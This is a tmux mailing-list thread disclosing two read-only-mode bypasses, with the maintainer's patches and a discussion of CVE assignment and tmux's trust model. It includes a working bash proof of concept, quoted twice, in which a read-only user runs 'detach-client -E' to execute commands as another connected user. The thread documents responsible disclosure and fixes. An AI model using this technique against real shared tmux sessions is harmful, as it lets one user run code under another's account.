Re: Minor tmux read-only mode security bugs

26 views
Skip to first unread message

Nicholas Marriott

unread,
May 20, 2026, 7:14:03 PMMay 20
to John Walker, tmux-users, jo...@zeropath.com, external-secu...@zeropath.com
Hi

I'm not sure it was ever intended that you couldn't switch back from readonly mode (you can do it with switch-client as well). Perhaps we should forbid it, or you should only be able to do it if you are the "main" user (ie the one who owns the tmux server process).

detach-client is an oversight and we should change that.




On Wed, 20 May 2026, 23:53 John Walker, <johnw...@gmail.com> wrote:
Hello,

I think I may have discovered two minor security tmux bugs, both of which relate to the enforcement of read only mode.

The first is in detach-client, which has the CMD_READONLY flag set, and is therefore able to be run by read only clients.
This command accepts a -E argument with a shell command to run to replace the session being closed.  

At first blush this seems harmless.  If a user is detaching their own session, this just runs a shell command locally for them.  However, detach-client also exposes a -a and -s options that allow the user to detach all clients from other sessions.  This is potentially already a violation of the intent of CMD_READONLY, but combined with -E, it allows the read only user to run an arbitrary command as any user connected to tmux after disconnecting their session.

I've included a script below that reproduces the issue.

The second potential bug has to do with the switch-client command, which is also a CMD_READONLY command allowed in read only sessions.  This command includes a -r option which can toggle the read only mode of a session.  As a result, a user can "upgrade" their own session to full read write.

Thanks,

-John

Script to reproduce detatch-client issue:

#!/bin/bash
# PoC: a read-only ACL user gains code execution as a read-write client
# via `detach-client -t <victim-tty> -E "<cmd>"`.
#
# Why it works: detach-client carries CMD_READONLY at the cmd_entry level,
# but its -E option forwards an arbitrary shell command to the target
# client(s), which then execve() it. The readonly gate in
# server_client_dispatch_command() (server-client.c) only inspects the
# command flag, not the -E capability. The -t branch in
# cmd_detach_client_exec() has no `loop != tc` filter, so a readonly client
# can target any other client directly.
#
# Run as root on a Linux host. Needs two non-root users (defaults alice/bob)
# and a tmux binary. Tested against tmux next-3.7.
set -eu

TMUX=${TMUX:-tmux}
A=${A:-alice}                   # victim (read-write owner)
B=${B:-bob}                     # attacker (read-only via ACL)
SOCK=/tmp/tmux-repro.sock
MARK=/tmp/tmux-repro.pwned

rm -f "$SOCK" "$MARK" "$MARK.full"

# Alice starts a server + session, opens the socket to Bob's UID,
# and grants Bob read-only ACL access.
runuser -u "$A" -- "$TMUX" -S "$SOCK" new-session -d -s s 'sleep 9999'
chmod 0666 "$SOCK"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -a -r "$B"

# Alice attaches a real client in the background. tmux needs a pty;
# `script` provides one.
runuser -u "$A" -- bash -c "
  TERM=xterm-256color setsid script -qfc '$TMUX -S $SOCK attach' /dev/null \
      </dev/null >/dev/null 2>&1 &
"
sleep 1

# Confirm Bob's client is treated as read-only.
echo "ACL:"
runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -l

# Bob (read-only) enumerates the victim tty via list-clients (CMD_READONLY)
# and then fires the bypass.
TTY=$(runuser -u "$B" -- "$TMUX" -S "$SOCK" list-clients -F '#{client_tty}')
echo "victim tty: $TTY"

runuser -u "$B" -- "$TMUX" -S "$SOCK" detach-client -t "$TTY" \
    -E "id -un > $MARK; id > $MARK.full"
echo "bob's detach-client exit: $?"
sleep 1

echo
echo "Marker file (should be owned by $A and contain '$A'):"
ls -l "$MARK"
echo -n "  whoami: "; cat "$MARK"
echo -n "  id:     "; cat "$MARK.full"

runuser -u "$A" -- "$TMUX" -S "$SOCK" kill-server 2>/dev/null || true



Nicholas Marriott

unread,
May 21, 2026, 3:26:00 AMMay 21
to John Walker, tmux-...@googlegroups.com, jo...@zeropath.com, external-secu...@zeropath.com
Try this please (also attached):

Index: cmd-attach-session.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-attach-session.c,v
diff -u -p -r1.89 cmd-attach-session.c
--- cmd-attach-session.c 6 Jul 2022 08:40:52 -0000 1.89
+++ cmd-attach-session.c 21 May 2026 07:25:03 -0000
@@ -61,6 +61,7 @@ cmd_attach_session(struct cmdq_item *ite
struct window_pane *wp;
char *cwd, *cause;
enum msgtype msgtype;
+ uid_t uid;

if (RB_EMPTY(&sessions)) {
cmdq_error(item, "no sessions");
@@ -106,8 +107,16 @@ cmd_attach_session(struct cmdq_item *ite
}
if (fflag)
server_client_set_flags(c, fflag);
- if (rflag)
+ if (rflag) {
+ if (c->flags & CLIENT_READONLY) {
+ uid = proc_get_peer_uid(c->peer);
+ if (uid != getuid()) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
+ }
c->flags |= (CLIENT_READONLY|CLIENT_IGNORESIZE);
+ }

c->last_session = c->session;
if (c->session != NULL) {
Index: cmd-detach-client.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-detach-client.c,v
diff -u -p -r1.38 cmd-detach-client.c
--- cmd-detach-client.c 21 Mar 2024 11:27:18 -0000 1.38
+++ cmd-detach-client.c 21 May 2026 07:25:03 -0000
@@ -59,10 +59,12 @@ cmd_detach_client_exec(struct cmd *self,
{
struct args *args = cmd_get_args(self);
struct cmd_find_state *source = cmdq_get_source(item);
+ struct client *c = cmdq_get_client(item);
struct client *tc = cmdq_get_target_client(item), *loop;
struct session *s;
enum msgtype msgtype;
const char *cmd = args_get(args, 'E');
+ uid_t uid;

if (cmd_get_entry(self) == &cmd_suspend_client_entry) {
server_client_suspend(tc);
@@ -75,6 +77,10 @@ cmd_detach_client_exec(struct cmd *self,
msgtype = MSG_DETACH;

if (args_has(args, 's')) {
+ if (c->flags & CLIENT_READONLY) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
s = source->s;
if (s == NULL)
return (CMD_RETURN_NORMAL);
@@ -90,6 +96,10 @@ cmd_detach_client_exec(struct cmd *self,
}

if (args_has(args, 'a')) {
+ if (tc->flags & CLIENT_READONLY) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
TAILQ_FOREACH(loop, &clients, entry) {
if (loop->session != NULL && loop != tc) {
if (cmd != NULL)
Index: cmd-switch-client.c
===================================================================
RCS file: /cvs/src/usr.bin/tmux/cmd-switch-client.c,v
diff -u -p -r1.73 cmd-switch-client.c
--- cmd-switch-client.c 27 Feb 2026 08:25:12 -0000 1.73
+++ cmd-switch-client.c 21 May 2026 07:25:04 -0000
@@ -20,6 +20,7 @@

#include <stdlib.h>
#include <string.h>
+#include <unistd.h>

#include "tmux.h"

@@ -53,6 +54,7 @@ cmd_switch_client_exec(struct cmd *self,
const char *tflag = args_get(args, 't');
enum cmd_find_type type;
int flags;
+ struct client *c = cmdq_get_client(item);
struct client *tc = cmdq_get_target_client(item);
struct session *s;
struct winlink *wl;
@@ -61,6 +63,7 @@ cmd_switch_client_exec(struct cmd *self,
const char *tablename;
struct key_table *table;
struct sort_criteria sort_crit;
+ uid_t uid;

if (tflag != NULL &&
(tflag[strcspn(tflag, ":.%")] != '\0' || strcmp(tflag, "=") == 0)) {
@@ -77,6 +80,13 @@ cmd_switch_client_exec(struct cmd *self,
wp = target.wp;

if (args_has(args, 'r')) {
+ if (tc->flags & CLIENT_READONLY) {
+ uid = proc_get_peer_uid(c->peer);
+ if (uid != getuid()) {
+ cmdq_error(item, "client is read-only");
+ return (CMD_RETURN_ERROR);
+ }
+ }
if (tc->flags & CLIENT_READONLY)
tc->flags &= ~(CLIENT_READONLY|CLIENT_IGNORESIZE);
else


On Wed, May 20, 2026 at 04:53:00PM -0600, John Walker wrote:
> Hello,
> I think I may have discovered two minor security tmux bugs, both of which
> relate to the enforcement of read only mode.
> The first is in detach-client, which has the CMD_READONLY flag set, and is
> therefore able to be run by read only clients.
> This command accepts a -E argument with a shell command to run to replace
> the session being closed.A A
> At first blush this seems harmless.A If a user is detaching their own
> session, this just runs a shell command locally for them.A However,
> detach-client also exposes a -a and -s options that allow the user to
> detach all clients from other sessions.A This is potentially already a
> violation of the intent of CMD_READONLY, but combined with -E, it allows
> the read only user to run an arbitrary command as any user connected to
> tmux after disconnecting their session.
> I've included a script below that reproduces the issue.
> The second potential bug has to do with the switch-client command, which
> is also a CMD_READONLY command allowed in read only sessions.A This
> command includes a -r option which can toggle the read only mode of a
> session.A As a result, a user can "upgrade" their own session to full
> read write.
> Thanks,
> -John
> Script to reproduce detatch-client issue:
> #!/bin/bash
> # PoC: a read-only ACL user gains code execution as a read-write client
> # via `detach-client -t <victim-tty> -E "<cmd>"`.
> #
> # Why it works: detach-client carries CMD_READONLY at the cmd_entry level,
> # but its -E option forwards an arbitrary shell command to the target
> # client(s), which then execve() it. The readonly gate in
> # server_client_dispatch_command() (server-client.c) only inspects the
> # command flag, not the -E capability. The -t branch in
> # cmd_detach_client_exec() has no `loop != tc` filter, so a readonly
> client
> # can target any other client directly.
> #
> # Run as root on a Linux host. Needs two non-root users (defaults
> alice/bob)
> # and a tmux binary. Tested against tmux next-3.7.
> set -eu
>
> TMUX=${TMUX:-tmux}
> A=${A:-alice} A A A A A A A A A # victim (read-write owner)
> B=${B:-bob} A A A A A A A A A A # attacker (read-only via ACL)
> SOCK=/tmp/tmux-repro.sock
> MARK=/tmp/tmux-repro.pwned
>
> rm -f "$SOCK" "$MARK" "$MARK.full"
>
> # Alice starts a server + session, opens the socket to Bob's UID,
> # and grants Bob read-only ACL access.
> runuser -u "$A" -- "$TMUX" -S "$SOCK" new-session -d -s s 'sleep 9999'
> chmod 0666 "$SOCK"
> runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -a -r "$B"
>
> # Alice attaches a real client in the background. tmux needs a pty;
> # `script` provides one.
> runuser -u "$A" -- bash -c "
> A TERM=xterm-256color setsid script -qfc '$TMUX -S $SOCK attach'
> /dev/null \
> A A A </dev/null >/dev/null 2>&1 &
> "
> sleep 1
>
> # Confirm Bob's client is treated as read-only.
> echo "ACL:"
> runuser -u "$A" -- "$TMUX" -S "$SOCK" server-access -l
>
> # Bob (read-only) enumerates the victim tty via list-clients
> (CMD_READONLY)
> # and then fires the bypass.
> TTY=$(runuser -u "$B" -- "$TMUX" -S "$SOCK" list-clients -F
> '#{client_tty}')
> echo "victim tty: $TTY"
>
> runuser -u "$B" -- "$TMUX" -S "$SOCK" detach-client -t "$TTY" \
> A A -E "id -un > $MARK; id > $MARK.full"
> echo "bob's detach-client exit: $?"
> sleep 1
>
> echo
> echo "Marker file (should be owned by $A and contain '$A'):"
> ls -l "$MARK"
> echo -n " A whoami: "; cat "$MARK"
> echo -n " A id: A A "; cat "$MARK.full"
ro.diff.txt

Nicholas Marriott

unread,
May 22, 2026, 2:19:46 AMMay 22
to John Walker, John Walker, tmux-...@googlegroups.com, external-secu...@zeropath.com
Yes... rather than get too complicated, I think let's just forbid detach except your own client, so you can do C-b d but not run it from the command line.

Try this instead please (attached).



On Thu, 21 May 2026 at 17:36, John Walker <jo...@zeropath.com> wrote:
The patch fixes the switch-client issue!

For detach-client, the patch checks for these two flags:

 	if (args_has(args, 's')) {

 
 	if (args_has(args, 'a')) {

I think it also might need to check for -t, since that also allows you to target someone else's session.

Thanks,

-John
ro2.diff.txt

Nicholas Marriott

unread,
May 22, 2026, 11:23:30 AMMay 22
to John Walker, John Walker, tmux-...@googlegroups.com, external-secu...@zeropath.com
Great, thanks for testing. I have applied this to OpenBSD now, it should be in GitHub later when it syncs up (usually takes a few hours).



On Fri, 22 May 2026 at 16:16, John Walker <johnw...@gmail.com> wrote:
This fixes the issue!

Thanks,

-John

Nicholas Marriott

unread,
May 22, 2026, 11:38:39 AMMay 22
to John Walker, John Walker, tmux-users, external-secu...@zeropath.com
The readonly flag is not intended to be a security feature - it's meant as a convenience to prevent accidents when you're sharing tmux with someone you trust. So I don't think a CVE is warranted here (and I'm not going to do a patch release for this).

So I'm grateful you spent your time to find and report this but I don't think it needs a CVE :-).


On Fri, 22 May 2026, 16:30 John Walker, <johnw...@gmail.com> wrote:
Sounds good!

Would you be opposed to me applying for a CVE after a patch lands?

It's a bit silly for something like this, but ZeroPath is sponsoring my research into open source projects, and CVEs allow them to say things like "we helped to find n issues across open source projects last month."

-John


Nicholas Marriott

unread,
May 22, 2026, 11:56:44 AMMay 22
to John Walker, John Walker, tmux-users, external-secu...@zeropath.com
I've no problem if you want to write about it. I just don't really want it made out as a security issue - if you give someone else access to your tmux socket you're trusting them in the same way as if you, say, change the permissions on ~/.ssh. Promising otherwise is something we don't want to take on, because by nature tmux has to be able to run shells and do pretty much anything, we need users to take their own responsibility for who they trust to access it.

If you'd like to find security issues in tmux the place to look is in the input parsing (input.c and what happens to the data after that) because that is genuinely untrusted input. I guess maybe there is a case for data from the terminal (tty-keys.c) but maybe not (who runs tmux in a terminal owned by someone else?).

Thanks


On Fri, 22 May 2026, 16:43 John Walker, <johnw...@gmail.com> wrote:
Makes sense -- I wasn't quite sure what the expected security model was.

Do you mind if we use the bug in a blog post or something like that?  The work to get an LLM to reason about a fairly non standard security model was interesting.  (Non standard in the sense that it's not something like a web app with a set of defined roles and clear things each is supposed to be able to do.)

-John
Reply all
Reply to author
Forward
0 new messages